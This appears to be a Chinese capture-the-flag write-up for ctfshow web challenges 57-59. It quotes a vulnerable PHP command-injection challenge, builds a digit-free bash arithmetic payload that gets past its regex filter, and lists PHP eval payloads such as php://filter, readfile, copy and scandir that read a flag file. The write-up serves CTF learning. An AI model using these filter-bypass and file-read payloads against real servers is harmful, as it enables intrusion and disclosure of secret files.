ctfshow web入门57,59
<?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-09-05 20:49:30 # @Last Modified by: h1xa # @Last Modified time: 2020-09-08 01:02:56 # @email: h1xa@ctfer.com # @link: https://ctfer.com */ // 还能炫的动吗? //flag in 36.php if(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/\;|[a-z]|[0-9]|\`|\|\#|\'|\"|\`|\%|\x09|\x26|\x0a|\>|\<|\.|\,|\?|\*|\-|\=|\[/i", $c)){ system("cat ".$c.".php"); } }else{ highlight_file(__FILE__); }
先说两个东西,在 Linux 下:
$(())=0
$((~ $(()) ))=-1

这里说了 flag 在 36.php,那么我们只需要构造 36,但是数字被过滤了。
由于前面说的只有 -1,因此我们对 36 进行取反,得到 -37,对 -37 再次取反即可得到 36。
根据 $((~ $(()) ))=-1,我们进行拼接,构造出 -37

-37
$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))
对-37取反得到36
$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))
echo ${_}:返回上一次命令的执行结果,若上一次没有命令输出,则为0
echo ${#}:0
web58
system()被禁用
c=show_source('flag.php');
c=highlight_file('flag.php');
也可以直接将 php 代码传给 eval 函数让其执行,构造 payload:
c=include("php://filter/convert.iconv.utf8.utf16/resource=flag.php"); c=include "php://filter/convert.base64-encode/resource=flag.php"

1)利用 copy 函数,执行后直接访问 flag.txt
c=copy("flag.php","flag.txt");
2)rename 函数
通过将 flag.php 重命名为 txt 文件,之后直接访问读取,和上面的 copy 差不多
c=rename("flag.php","1.txt");
3)file_get_contents 函数
使用 file_get_contents 进行读取,再配合 echo 输出,payload:

4)readfile 函数 payload:
c=readfile("flag.php");
5) file 函数 payload:
c=print_r(file("flag.php")); # 先扫描一下文件: c=print_r(scandir(dirname('FILE'))); c=show_source(next(array_reverse(scandir(pos(localeconv())))));


浙公网安备 33010602011771号